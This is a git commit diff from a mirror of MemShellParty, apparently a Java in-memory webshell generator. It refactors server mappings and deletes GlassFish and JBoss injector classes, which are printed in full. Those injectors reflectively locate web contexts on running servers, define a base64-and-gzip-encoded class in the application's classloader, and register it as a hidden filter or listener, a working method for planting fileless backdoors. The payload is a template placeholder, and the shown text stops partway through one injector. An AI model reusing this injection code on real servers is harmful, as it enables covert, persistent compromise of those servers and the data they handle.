mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: merge JBossAS and GlassFish
This commit is contained in:
@@ -29,8 +29,8 @@ public enum Server {
|
||||
/**
|
||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBossAS(new JbossShell()),
|
||||
JBossEAP6(new JbossShell()),
|
||||
JBossAS(new TomcatShell()),
|
||||
JBossEAP6(new TomcatShell()),
|
||||
/**
|
||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||
|
||||
@@ -1,13 +1,12 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.implementation.bytecode.assign.Assigner;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -42,10 +41,10 @@ public class GlassFishShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
|
||||
import com.reajason.javaweb.memshell.injector.inforsuite.InforSuiteFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
@@ -22,8 +22,8 @@ public class InforSuiteShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
|
||||
@@ -1,32 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.injector.jboss.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jboss.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
|
||||
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JbossShell extends AbstractShell {
|
||||
|
||||
@Override
|
||||
public Class<?> getListenerInterceptor() {
|
||||
return TomcatShell.ListenerInterceptor.class;
|
||||
}
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||
.addInjector(FILTER, JbossFilterInjector.class)
|
||||
.addInjector(VALVE, JbossValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
-200
@@ -1,200 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GlassFishFilterInjector {
|
||||
Logger log = Logger.getLogger(GlassFishFilterInjector.class.getName());
|
||||
|
||||
static {
|
||||
new GlassFishFilterInjector();
|
||||
}
|
||||
|
||||
public GlassFishFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
/**
|
||||
* com.sun.enterprise.web.WebModule
|
||||
* /usr/local/glassfish/modules/web-glue.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
String filterName = getClassName();
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
log.warning("filter already exists");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
|
||||
}
|
||||
|
||||
Constructor<?>[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterName, filterConfig);
|
||||
log.info("filter added successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||
Field field = getField(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
-175
@@ -1,175 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.glassfish;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GlassFishListenerInjector {
|
||||
static {
|
||||
new GlassFishListenerInjector();
|
||||
}
|
||||
|
||||
Logger log = Logger.getLogger(GlassFishListenerInjector.class.getName());
|
||||
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public GlassFishListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
List<EventListener> eventListeners = (List<EventListener>) invokeMethod(context, "getApplicationEventListeners", null, null);
|
||||
for (EventListener eventListener : eventListeners) {
|
||||
if (eventListener.getClass().getName().equals(getClassName())) {
|
||||
log.warning("listener already exists");
|
||||
return;
|
||||
}
|
||||
}
|
||||
eventListeners.add((EventListener) listener);
|
||||
log.info("listener added successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
-191
@@ -1,191 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jboss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossFilterInjector {
|
||||
|
||||
static {
|
||||
new JbossFilterInjector();
|
||||
}
|
||||
|
||||
public JbossFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
/**
|
||||
* org.apache.catalina.core.StandardContext
|
||||
* /usr/local/jboss/server/default/deploy/jboss-web.deployer/jbossweb.jar
|
||||
*/
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||
try {
|
||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
} catch (Exception e) {
|
||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||
}
|
||||
|
||||
Constructor<?>[] constructors = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||
constructors[0].setAccessible(true);
|
||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(getClassName(), filterConfig);
|
||||
System.out.println("filter injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||
try {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
}
|
||||
}
|
||||
-208
@@ -1,208 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.injector.jboss;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class JbossListenerInjector {
|
||||
|
||||
static {
|
||||
new JbossListenerInjector();
|
||||
}
|
||||
|
||||
public JbossListenerInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws Exception {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||
Collection<?> values = childrenMap.values();
|
||||
for (Object value : values) {
|
||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||
contexts.addAll(children.values());
|
||||
}
|
||||
}
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private ClassLoader getWebAppClassLoader(Object context) {
|
||||
try {
|
||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||
} catch (Exception e) {
|
||||
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object listener) throws Exception {
|
||||
if (this.isInjected(context)) {
|
||||
return;
|
||||
}
|
||||
String filedName = "applicationEventListenersObjects";
|
||||
Object applicationEventListenersObjects = getFieldValue(context, filedName);
|
||||
